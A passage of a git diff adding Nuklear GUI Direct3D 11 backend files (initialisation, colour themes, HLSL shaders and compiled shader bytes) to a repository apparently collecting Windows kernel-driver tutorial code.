CloseClipboard(); + } +} + +NK_API struct nk_context* +nk_d3d11_init(ID3D11Device* device, int width, int height, unsigned int max_vertex_buffer, unsigned int max_index_buffer) { + HRESULT hr; + d3d11.max_vertex_buffer = max_vertex_buffer; + d3d11.max_index_buffer = max_index_buffer; + d3d11.device = device; + device->AddRef(); + + nk_init_default(&d3d11.ctx, 0); + d3d11.ctx.clip.copy = nk_d3d11_clipboard_copy; + d3d11.ctx.clip.paste = nk_d3d11_clipboard_paste; + d3d11.ctx.clip.userdata = nk_handle_ptr(0); + + nk_buffer_init_default(&d3d11.cmds); + + {/* rasterizer state */ + D3D11_RASTERIZER_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.FillMode = D3D11_FILL_SOLID; + desc.CullMode = D3D11_CULL_NONE; + desc.FrontCounterClockwise = FALSE; + desc.DepthBias = 0; + desc.DepthBiasClamp = 0; + desc.SlopeScaledDepthBias = 0.0f; + desc.DepthClipEnable = TRUE; + desc.ScissorEnable = TRUE; + desc.MultisampleEnable = FALSE; + desc.AntialiasedLineEnable = FALSE; + hr = device->CreateRasterizerState(&desc, &d3d11.rasterizer_state); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* vertex shader */ + { + hr = device->CreateVertexShader(nk_d3d11_vertex_shader, sizeof(nk_d3d11_vertex_shader), NULL, &d3d11.vertex_shader); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* input layout */ + { + const D3D11_INPUT_ELEMENT_DESC layout[] = { + { "POSITION", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, offsetof(struct nk_d3d11_vertex, position), D3D11_INPUT_PER_VERTEX_DATA, 0 }, + { "TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, offsetof(struct nk_d3d11_vertex, uv), D3D11_INPUT_PER_VERTEX_DATA, 0 }, + { "COLOR", 0, DXGI_FORMAT_R8G8B8A8_UNORM, 0, offsetof(struct nk_d3d11_vertex, col), D3D11_INPUT_PER_VERTEX_DATA, 0 }, + }; + hr = device->CreateInputLayout(layout, ARRAYSIZE(layout), nk_d3d11_vertex_shader, sizeof(nk_d3d11_vertex_shader), &d3d11.input_layout); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* constant buffer */ + { + float matrix[4 * 4]; + D3D11_BUFFER_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.ByteWidth = sizeof(matrix); + desc.Usage = D3D11_USAGE_DYNAMIC; + desc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; + desc.MiscFlags = 0; + + { + D3D11_SUBRESOURCE_DATA data; + data.pSysMem = matrix; + data.SysMemPitch = 0; + data.SysMemSlicePitch = 0; + + nk_d3d11_get_projection_matrix(width, height, matrix); + hr = device->CreateBuffer(&desc, &data, &d3d11.const_buffer); + NK_ASSERT(SUCCEEDED(hr)); + } + } + + /* pixel shader */ + { + hr = device->CreatePixelShader(nk_d3d11_pixel_shader, sizeof(nk_d3d11_pixel_shader), NULL, &d3d11.pixel_shader); + NK_ASSERT(SUCCEEDED(hr)); + } + + {/* blend state */ + D3D11_BLEND_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.AlphaToCoverageEnable = FALSE; + desc.RenderTarget[0].BlendEnable = TRUE; + desc.RenderTarget[0].SrcBlend = D3D11_BLEND_SRC_ALPHA; + desc.RenderTarget[0].DestBlend = D3D11_BLEND_INV_SRC_ALPHA; + desc.RenderTarget[0].BlendOp = D3D11_BLEND_OP_ADD; + desc.RenderTarget[0].SrcBlendAlpha = D3D11_BLEND_INV_SRC_ALPHA; + desc.RenderTarget[0].DestBlendAlpha = D3D11_BLEND_ZERO; + desc.RenderTarget[0].BlendOpAlpha = D3D11_BLEND_OP_ADD; + desc.RenderTarget[0].RenderTargetWriteMask = D3D11_COLOR_WRITE_ENABLE_ALL; + hr = device->CreateBlendState(&desc, &d3d11.blend_state); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* vertex buffer */ + { + D3D11_BUFFER_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.Usage = D3D11_USAGE_DYNAMIC; + desc.ByteWidth = max_vertex_buffer; + desc.BindFlags = D3D11_BIND_VERTEX_BUFFER; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; + desc.MiscFlags = 0; + hr = device->CreateBuffer(&desc, NULL, &d3d11.vertex_buffer); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* index buffer */ + { + D3D11_BUFFER_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.Usage = D3D11_USAGE_DYNAMIC; + desc.ByteWidth = max_index_buffer; + desc.BindFlags = D3D11_BIND_INDEX_BUFFER; + desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE; + hr = device->CreateBuffer(&desc, NULL, &d3d11.index_buffer); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* sampler state */ + { + D3D11_SAMPLER_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.Filter = D3D11_FILTER_MIN_MAG_MIP_LINEAR; + desc.AddressU = D3D11_TEXTURE_ADDRESS_CLAMP; + desc.AddressV = D3D11_TEXTURE_ADDRESS_CLAMP; + desc.AddressW = D3D11_TEXTURE_ADDRESS_CLAMP; + desc.MipLODBias = 0.0f; + desc.ComparisonFunc = D3D11_COMPARISON_ALWAYS; + desc.MinLOD = 0.0f; + desc.MaxLOD = FLT_MAX; + hr = device->CreateSamplerState(&desc, &d3d11.sampler_state); + NK_ASSERT(SUCCEEDED(hr)); + } + + /* viewport */ + { + d3d11.viewport.TopLeftX = 0.0f; + d3d11.viewport.TopLeftY = 0.0f; + d3d11.viewport.Width = (float)width; + d3d11.viewport.Height = (float)height; + d3d11.viewport.MinDepth = 0.0f; + d3d11.viewport.MaxDepth = 1.0f; + } + return &d3d11.ctx; +} + +NK_API void +nk_d3d11_font_stash_begin(struct nk_font_atlas** atlas) { + nk_font_atlas_init_default(&d3d11.atlas); + nk_font_atlas_begin(&d3d11.atlas); + *atlas = &d3d11.atlas; +} + +NK_API void +nk_d3d11_font_stash_end(void) { + const void* image; int w, h; + image = nk_font_atlas_bake(&d3d11.atlas, &w, &h, NK_FONT_ATLAS_RGBA32); + + /* upload font to texture and create texture view */ + { + ID3D11Texture2D* font_texture; + HRESULT hr; + + D3D11_TEXTURE2D_DESC desc; + memset(&desc, 0, sizeof(desc)); + desc.Width = (UINT)w; + desc.Height = (UINT)h; + desc.MipLevels = 1; + desc.ArraySize = 1; + desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; + desc.SampleDesc.Count = 1; + desc.SampleDesc.Quality = 0; + desc.Usage = D3D11_USAGE_DEFAULT; + desc.BindFlags = D3D11_BIND_SHADER_RESOURCE; + desc.CPUAccessFlags = 0; + + { + D3D11_SUBRESOURCE_DATA data; + data.pSysMem = image; + data.SysMemPitch = (UINT)(w * 4); + data.SysMemSlicePitch = 0; + hr = d3d11.device->CreateTexture2D(&desc, &data, &font_texture); + assert(SUCCEEDED(hr)); + } + + { + D3D11_SHADER_RESOURCE_VIEW_DESC srv; + memset(&srv, 0, sizeof(srv)); + srv.Format = desc.Format; + srv.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; + srv.Texture2D.MipLevels = 1; + srv.Texture2D.MostDetailedMip = 0; + hr = d3d11.device->CreateShaderResourceView((ID3D11Resource*)font_texture, &srv, &d3d11.font_texture_view); + assert(SUCCEEDED(hr)); + } + font_texture->Release(); + } + + nk_font_atlas_end(&d3d11.atlas, nk_handle_ptr(d3d11.font_texture_view), &d3d11.null); + if (d3d11.atlas.default_font) + nk_style_set_font(&d3d11.ctx, &d3d11.atlas.default_font->handle); +} + +NK_API +void nk_d3d11_shutdown(void) { + nk_font_atlas_clear(&d3d11.atlas); + nk_buffer_free(&d3d11.cmds); + nk_free(&d3d11.ctx); + + d3d11.sampler_state->Release(); + d3d11.font_texture_view->Release(); + d3d11.vertex_buffer->Release(); + d3d11.index_buffer->Release(); + d3d11.blend_state->Release(); + d3d11.pixel_shader->Release(); + d3d11.const_buffer->Release(); + d3d11.vertex_shader->Release(); + d3d11.input_layout->Release(); + d3d11.rasterizer_state->Release(); + d3d11.device->Release(); +} + +NK_API +void +set_style(struct nk_context* ctx, enum theme theme) +{ + struct nk_color table[NK_COLOR_COUNT]; + if (theme == THEME_WHITE) { + table[NK_COLOR_TEXT] = nk_rgba(70, 70, 70, 255); + table[NK_COLOR_WINDOW] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_HEADER] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_BORDER] = nk_rgba(0, 0, 0, 255); + table[NK_COLOR_BUTTON] = nk_rgba(185, 185, 185, 255); + table[NK_COLOR_BUTTON_HOVER] = nk_rgba(170, 170, 170, 255); + table[NK_COLOR_BUTTON_ACTIVE] = nk_rgba(160, 160, 160, 255); + table[NK_COLOR_TOGGLE] = nk_rgba(150, 150, 150, 255); + table[NK_COLOR_TOGGLE_HOVER] = nk_rgba(120, 120, 120, 255); + table[NK_COLOR_TOGGLE_CURSOR] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_SELECT] = nk_rgba(190, 190, 190, 255); + table[NK_COLOR_SELECT_ACTIVE] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_SLIDER] = nk_rgba(190, 190, 190, 255); + table[NK_COLOR_SLIDER_CURSOR] = nk_rgba(80, 80, 80, 255); + table[NK_COLOR_SLIDER_CURSOR_HOVER] = nk_rgba(70, 70, 70, 255); + table[NK_COLOR_SLIDER_CURSOR_ACTIVE] = nk_rgba(60, 60, 60, 255); + table[NK_COLOR_PROPERTY] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_EDIT] = nk_rgba(150, 150, 150, 255); + table[NK_COLOR_EDIT_CURSOR] = nk_rgba(0, 0, 0, 255); + table[NK_COLOR_COMBO] = nk_rgba(175, 175, 175, 255); + table[NK_COLOR_CHART] = nk_rgba(160, 160, 160, 255); + table[NK_COLOR_CHART_COLOR] = nk_rgba(45, 45, 45, 255); + table[NK_COLOR_CHART_COLOR_HIGHLIGHT] = nk_rgba(255, 0, 0, 255); + table[NK_COLOR_SCROLLBAR] = nk_rgba(180, 180, 180, 255); + table[NK_COLOR_SCROLLBAR_CURSOR] = nk_rgba(140, 140, 140, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_HOVER] = nk_rgba(150, 150, 150, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_ACTIVE] = nk_rgba(160, 160, 160, 255); + table[NK_COLOR_TAB_HEADER] = nk_rgba(180, 180, 180, 255); + nk_style_from_table(ctx, table); + } + else if (theme == THEME_RED) { + table[NK_COLOR_TEXT] = nk_rgba(190, 190, 190, 255); + table[NK_COLOR_WINDOW] = nk_rgba(30, 33, 40, 215); + table[NK_COLOR_HEADER] = nk_rgba(181, 45, 69, 220); + table[NK_COLOR_BORDER] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_BUTTON] = nk_rgba(181, 45, 69, 255); + table[NK_COLOR_BUTTON_HOVER] = nk_rgba(190, 50, 70, 255); + table[NK_COLOR_BUTTON_ACTIVE] = nk_rgba(195, 55, 75, 255); + table[NK_COLOR_TOGGLE] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_TOGGLE_HOVER] = nk_rgba(45, 60, 60, 255); + table[NK_COLOR_TOGGLE_CURSOR] = nk_rgba(181, 45, 69, 255); + table[NK_COLOR_SELECT] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_SELECT_ACTIVE] = nk_rgba(181, 45, 69, 255); + table[NK_COLOR_SLIDER] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_SLIDER_CURSOR] = nk_rgba(181, 45, 69, 255); + table[NK_COLOR_SLIDER_CURSOR_HOVER] = nk_rgba(186, 50, 74, 255); + table[NK_COLOR_SLIDER_CURSOR_ACTIVE] = nk_rgba(191, 55, 79, 255); + table[NK_COLOR_PROPERTY] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_EDIT] = nk_rgba(51, 55, 67, 225); + table[NK_COLOR_EDIT_CURSOR] = nk_rgba(190, 190, 190, 255); + table[NK_COLOR_COMBO] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_CHART] = nk_rgba(51, 55, 67, 255); + table[NK_COLOR_CHART_COLOR] = nk_rgba(170, 40, 60, 255); + table[NK_COLOR_CHART_COLOR_HIGHLIGHT] = nk_rgba(255, 0, 0, 255); + table[NK_COLOR_SCROLLBAR] = nk_rgba(30, 33, 40, 255); + table[NK_COLOR_SCROLLBAR_CURSOR] = nk_rgba(64, 84, 95, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_HOVER] = nk_rgba(70, 90, 100, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_ACTIVE] = nk_rgba(75, 95, 105, 255); + table[NK_COLOR_TAB_HEADER] = nk_rgba(181, 45, 69, 220); + nk_style_from_table(ctx, table); + } + else if (theme == THEME_BLUE) { + table[NK_COLOR_TEXT] = nk_rgba(20, 20, 20, 255); + table[NK_COLOR_WINDOW] = nk_rgba(202, 212, 214, 215); + table[NK_COLOR_HEADER] = nk_rgba(137, 182, 224, 220); + table[NK_COLOR_BORDER] = nk_rgba(140, 159, 173, 255); + table[NK_COLOR_BUTTON] = nk_rgba(137, 182, 224, 255); + table[NK_COLOR_BUTTON_HOVER] = nk_rgba(142, 187, 229, 255); + table[NK_COLOR_BUTTON_ACTIVE] = nk_rgba(147, 192, 234, 255); + table[NK_COLOR_TOGGLE] = nk_rgba(177, 210, 210, 255); + table[NK_COLOR_TOGGLE_HOVER] = nk_rgba(182, 215, 215, 255); + table[NK_COLOR_TOGGLE_CURSOR] = nk_rgba(137, 182, 224, 255); + table[NK_COLOR_SELECT] = nk_rgba(177, 210, 210, 255); + table[NK_COLOR_SELECT_ACTIVE] = nk_rgba(137, 182, 224, 255); + table[NK_COLOR_SLIDER] = nk_rgba(177, 210, 210, 255); + table[NK_COLOR_SLIDER_CURSOR] = nk_rgba(137, 182, 224, 245); + table[NK_COLOR_SLIDER_CURSOR_HOVER] = nk_rgba(142, 188, 229, 255); + table[NK_COLOR_SLIDER_CURSOR_ACTIVE] = nk_rgba(147, 193, 234, 255); + table[NK_COLOR_PROPERTY] = nk_rgba(210, 210, 210, 255); + table[NK_COLOR_EDIT] = nk_rgba(210, 210, 210, 225); + table[NK_COLOR_EDIT_CURSOR] = nk_rgba(20, 20, 20, 255); + table[NK_COLOR_COMBO] = nk_rgba(210, 210, 210, 255); + table[NK_COLOR_CHART] = nk_rgba(210, 210, 210, 255); + table[NK_COLOR_CHART_COLOR] = nk_rgba(137, 182, 224, 255); + table[NK_COLOR_CHART_COLOR_HIGHLIGHT] = nk_rgba(255, 0, 0, 255); + table[NK_COLOR_SCROLLBAR] = nk_rgba(190, 200, 200, 255); + table[NK_COLOR_SCROLLBAR_CURSOR] = nk_rgba(64, 84, 95, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_HOVER] = nk_rgba(70, 90, 100, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_ACTIVE] = nk_rgba(75, 95, 105, 255); + table[NK_COLOR_TAB_HEADER] = nk_rgba(156, 193, 220, 255); + nk_style_from_table(ctx, table); + } + else if (theme == THEME_DARK) { + table[NK_COLOR_TEXT] = nk_rgba(210, 210, 210, 255); + table[NK_COLOR_WINDOW] = nk_rgba(57, 67, 71, 215); + table[NK_COLOR_HEADER] = nk_rgba(51, 51, 56, 220); + table[NK_COLOR_BORDER] = nk_rgba(46, 46, 46, 255); + table[NK_COLOR_BUTTON] = nk_rgba(48, 83, 111, 255); + table[NK_COLOR_BUTTON_HOVER] = nk_rgba(58, 93, 121, 255); + table[NK_COLOR_BUTTON_ACTIVE] = nk_rgba(63, 98, 126, 255); + table[NK_COLOR_TOGGLE] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_TOGGLE_HOVER] = nk_rgba(45, 53, 56, 255); + table[NK_COLOR_TOGGLE_CURSOR] = nk_rgba(48, 83, 111, 255); + table[NK_COLOR_SELECT] = nk_rgba(57, 67, 61, 255); + table[NK_COLOR_SELECT_ACTIVE] = nk_rgba(48, 83, 111, 255); + table[NK_COLOR_SLIDER] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_SLIDER_CURSOR] = nk_rgba(48, 83, 111, 245); + table[NK_COLOR_SLIDER_CURSOR_HOVER] = nk_rgba(53, 88, 116, 255); + table[NK_COLOR_SLIDER_CURSOR_ACTIVE] = nk_rgba(58, 93, 121, 255); + table[NK_COLOR_PROPERTY] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_EDIT] = nk_rgba(50, 58, 61, 225); + table[NK_COLOR_EDIT_CURSOR] = nk_rgba(210, 210, 210, 255); + table[NK_COLOR_COMBO] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_CHART] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_CHART_COLOR] = nk_rgba(48, 83, 111, 255); + table[NK_COLOR_CHART_COLOR_HIGHLIGHT] = nk_rgba(255, 0, 0, 255); + table[NK_COLOR_SCROLLBAR] = nk_rgba(50, 58, 61, 255); + table[NK_COLOR_SCROLLBAR_CURSOR] = nk_rgba(48, 83, 111, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_HOVER] = nk_rgba(53, 88, 116, 255); + table[NK_COLOR_SCROLLBAR_CURSOR_ACTIVE] = nk_rgba(58, 93, 121, 255); + table[NK_COLOR_TAB_HEADER] = nk_rgba(48, 83, 111, 255); + nk_style_from_table(ctx, table); + } + else { + nk_style_default(ctx); + } +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.h" new file mode 100644 index 0000000..a5638f5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.h" @@ -0,0 +1,93 @@ +#ifndef NK_D3D11_H_ +#define NK_D3D11_H_ + +#define WIN32_LEAN_AND_MEAN +#define COBJMACROS +#include +#include + +#include +#include +#include +#include + +#define NK_INCLUDE_DEFAULT_ALLOCATOR +#define MAX_VERTEX_BUFFER 512 * 1024 +#define MAX_INDEX_BUFFER 128 * 1024 +#define NK_INCLUDE_FIXED_TYPES +#define NK_INCLUDE_VERTEX_BUFFER_OUTPUT +#define NK_INCLUDE_FONT_BAKING +#define NK_INCLUDE_DEFAULT_FONT +#define NK_D3D11_IMPLEMENTATION + +#include "nuklear.h" +#include "nuklear_d3d11_vertex_shader.h" +#include "nuklear_d3d11_pixel_shader.h" + +typedef struct ID3D11Device ID3D11Device; +typedef struct ID3D11DeviceContext ID3D11DeviceContext; +enum theme { THEME_BLACK, THEME_WHITE, THEME_RED, THEME_BLUE, THEME_DARK }; + +struct nk_d3d11_vertex { + float position[2]; + float uv[2]; + nk_byte col[4]; +}; + +static struct +{ + struct nk_context ctx; + struct nk_font_atlas atlas; + struct nk_buffer cmds; + + struct nk_draw_null_texture null; + unsigned int max_vertex_buffer; + unsigned int max_index_buffer; + + D3D11_VIEWPORT viewport; + ID3D11Device* device; + ID3D11RasterizerState* rasterizer_state; + ID3D11VertexShader* vertex_shader; + ID3D11InputLayout* input_layout; + ID3D11Buffer* const_buffer; + ID3D11PixelShader* pixel_shader; + ID3D11BlendState* blend_state; + ID3D11Buffer* index_buffer; + ID3D11Buffer* vertex_buffer; + ID3D11ShaderResourceView* font_texture_view; + ID3D11SamplerState* sampler_state; +} d3d11; + +NK_API void +nk_d3d11_render(ID3D11DeviceContext* context, enum nk_anti_aliasing AA); + +static void +nk_d3d11_get_projection_matrix(int width, int height, float* result); + +NK_API void +nk_d3d11_resize(ID3D11DeviceContext* context, int width, int height); + +NK_API int +nk_d3d11_handle_event(HWND wnd, UINT msg, WPARAM wparam, LPARAM lparam); + +static void +nk_d3d11_clipboard_paste(nk_handle usr, struct nk_text_edit* edit); + +static void +nk_d3d11_clipboard_copy(nk_handle usr, const char* text, int len); + +NK_API struct nk_context* +nk_d3d11_init(ID3D11Device* device, int width, int height, unsigned int max_vertex_buffer, unsigned int max_index_buffer); + +NK_API void +nk_d3d11_font_stash_begin(struct nk_font_atlas** atlas); + +NK_API void +nk_d3d11_font_stash_end(void); + +NK_API +void nk_d3d11_shutdown(void); + +NK_API +void set_style(struct nk_context* ctx, enum theme theme); +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.hlsl" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.hlsl" new file mode 100644 index 0000000..a932dca --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.hlsl" @@ -0,0 +1,36 @@ +// +cbuffer buffer0 : register(b0) +{ + float4x4 ProjectionMatrix; +}; + +sampler sampler0 : register(s0); +Texture2D texture0 : register(t0); + +struct VS_INPUT +{ + float2 pos : POSITION; + float4 col : COLOR0; + float2 uv : TEXCOORD0; +}; + +struct PS_INPUT +{ + float4 pos : SV_POSITION; + float4 col : COLOR0; + float2 uv : TEXCOORD0; +}; + +PS_INPUT vs(VS_INPUT input) +{ + PS_INPUT output; + output.pos = mul(ProjectionMatrix, float4(input.pos.xy, 0.f, 1.f)); + output.col = input.col; + output.uv = input.uv; + return output; +} + +float4 ps(PS_INPUT input) : SV_Target +{ + return input.col * texture0.Sample(sampler0, input.uv); +} diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_pixel_shader.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_pixel_shader.h" new file mode 100644 index 0000000..1447559 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_pixel_shader.h" @@ -0,0 +1,179 @@ +#if 0 +// +// Generated by Microsoft (R) D3D Shader Disassembler +// +// +// Input signature: +// +// Name Index Mask Register SysValue Format Used +// -------------------- ----- ------ -------- -------- ------- ------ +// SV_POSITION 0 xyzw 0 POS float +// COLOR 0 xyzw 1 NONE float xyzw +// TEXCOORD 0 xy 2 NONE float xy +// +// +// Output signature: +// +// Name Index Mask Register SysValue Format Used +// -------------------- ----- ------ -------- -------- ------- ------ +// SV_Target 0 xyzw 0 TARGET float xyzw +// +// +// Sampler/Resource to DX9 shader sampler mappings: +// +// Target Sampler Source Sampler Source Resource +// -------------- --------------- ---------------- +// s0 s0 t0 +// +// +// Level9 shader bytecode: +// + ps_2_0 + dcl t0 + dcl t1.xy + dcl_2d s0 + texld r0, t1, s0 + mul r0, r0, t0 + mov oC0, r0 + +// approximately 3 instruction slots used (1 texture, 2 arithmetic) +// +// Sampler/Resource to DX9 shader sampler mappings: +// +// Target Sampler Source Sampler Source Resource +// -------------- --------------- ---------------- +// s0 s0 t0 +// +// +// XNA shader bytecode: +// + ps_2_0 + dcl t0 + dcl t1.xy + dcl_2d s0 + texld r0, r2, s0 + mul oC0, r0, r1 + +// approximately 2 instruction slots used (1 texture, 1 arithmetic) +ps_4_0 +dcl_sampler s0, mode_default +dcl_resource_texture2d (float,float,float,float) t0 +dcl_input_ps linear v1.xyzw +dcl_input_ps linear v2.xy +dcl_output o0.xyzw +dcl_temps 1 +sample r0.xyzw, v2.xyxx, t0.xyzw, s0 +mul o0.xyzw, r0.xyzw, v1.xyzw +ret +// Approximately 0 instruction slots used +#endif + +const BYTE nk_d3d11_pixel_shader[] = +{ + 68, 88, 66, 67, 249, 46, + 26, 75, 111, 182, 161, 241, + 199, 179, 191, 89, 44, 229, + 245, 103, 1, 0, 0, 0, + 124, 2, 0, 0, 5, 0, + 0, 0, 52, 0, 0, 0, + 176, 0, 0, 0, 56, 1, + 0, 0, 212, 1, 0, 0, + 72, 2, 0, 0, 88, 78, + 65, 83, 116, 0, 0, 0, + 116, 0, 0, 0, 0, 2, + 255, 255, 76, 0, 0, 0, + 40, 0, 0, 0, 0, 0, + 40, 0, 0, 0, 40, 0, + 0, 0, 40, 0, 1, 0, + 36, 0, 0, 0, 40, 0, + 0, 0, 0, 0, 0, 2, + 255, 255, 31, 0, 0, 2, + 0, 0, 0, 128, 0, 0, + 15, 176, 31, 0, 0, 2, + 0, 0, 0, 128, 1, 0, + 3, 176, 31, 0, 0, 2, + 0, 0, 0, 144, 0, 8, + 15, 160, 66, 0, 0, 3, + 0, 0, 15, 128, 2, 0, + 228, 128, 0, 8, 228, 160, + 5, 0, 0, 3, 0, 8, + 15, 128, 0, 0, 228, 128, + 1, 0, 228, 128, 255, 255, + 0, 0, 65, 111, 110, 57, + 128, 0, 0, 0, 128, 0, + 0, 0, 0, 2, 255, 255, + 88, 0, 0, 0, 40, 0, + 0, 0, 0, 0, 40, 0, + 0, 0, 40, 0, 0, 0, + 40, 0, 1, 0, 36, 0, + 0, 0, 40, 0, 0, 0, + 0, 0, 0, 2, 255, 255, + 31, 0, 0, 2, 0, 0, + 0, 128, 0, 0, 15, 176, + 31, 0, 0, 2, 0, 0, + 0, 128, 1, 0, 3, 176, + 31, 0, 0, 2, 0, 0, + 0, 144, 0, 8, 15, 160, + 66, 0, 0, 3, 0, 0, + 15, 128, 1, 0, 228, 176, + 0, 8, 228, 160, 5, 0, + 0, 3, 0, 0, 15, 128, + 0, 0, 228, 128, 0, 0, + 228, 176, 1, 0, 0, 2, + 0, 8, 15, 128, 0, 0, + 228, 128, 255, 255, 0, 0, + 83, 72, 68, 82, 148, 0, + 0, 0, 64, 0, 0, 0, + 37, 0, 0, 0, 90, 0, + 0, 3, 0, 96, 16, 0, + 0, 0, 0, 0, 88, 24, + 0, 4, 0, 112, 16, 0, + 0, 0, 0, 0, 85, 85, + 0, 0, 98, 16, 0, 3, + 242, 16, 16, 0, 1, 0, + 0, 0, 98, 16, 0, 3, + 50, 16, 16, 0, 2, 0, + 0, 0, 101, 0, 0, 3, + 242, 32, 16, 0, 0, 0, + 0, 0, 104, 0, 0, 2, + 1, 0, 0, 0, 69, 0, + 0, 9, 242, 0, 16, 0, + 0, 0, 0, 0, 70, 16, + 16, 0, 2, 0, 0, 0, + 70, 126, 16, 0, 0, 0, + 0, 0, 0, 96, 16, 0, + 0, 0, 0, 0, 56, 0, + 0, 7, 242, 32, 16, 0, + 0, 0, 0, 0, 70, 14, + 16, 0, 0, 0, 0, 0, + 70, 30, 16, 0, 1, 0, + 0, 0, 62, 0, 0, 1, + 73, 83, 71, 78, 108, 0, + 0, 0, 3, 0, 0, 0, + 8, 0, 0, 0, 80, 0, + 0, 0, 0, 0, 0, 0, + 1, 0, 0, 0, 3, 0, + 0, 0, 0, 0, 0, 0, + 15, 0, 0, 0, 92, 0, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 3, 0, + 0, 0, 1, 0, 0, 0, + 15, 15, 0, 0, 98, 0, + 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 3, 0, + 0, 0, 2, 0, 0, 0, + 3, 3, 0, 0, 83, 86, + 95, 80, 79, 83, 73, 84, + 73, 79, 78, 0, 67, 79, + 76, 79, 82, 0, 84, 69, + 88, 67, 79, 79, 82, 68, + 0, 171, 79, 83, 71, 78, + 44, 0, 0, 0, 1, 0, + 0, 0, 8, 0, 0, 0, + 32, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + 3, 0, 0, 0, 0, 0, + 0, 0, 15, 0, 0, 0, + 83, 86, 95, 84, 97, 114, + 103, 101, 116, 0, 171, 171 +}; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_vertex_shader.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_vertex_shader.h" new file mode 100644 index 0000000..770d2dd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11_vertex_shader.h" @@ -0,0 +1,350 @@ +#if 0 +// +// Generated by Microsoft (R) D3D Shader Disassembler +// +// +// Input signature: +// +// Name Index Mask Register SysValue Format Used +// -------------------- ----- ------ -------- -------- ------- ------ +// POSITION 0 xy 0 NONE float xy +// COLOR 0 xyzw 1 NONE float xyzw +// TEXCOORD 0 xy 2 NONE float xy +// +// +// Output signature: +// +// Name Index Mask Register SysValue Format Used +// -------------------- ----- ------ -------- -------- ------- ------ +// SV_POSITION 0 xyzw 0 POS float xyzw +// COLOR 0 xyzw 1 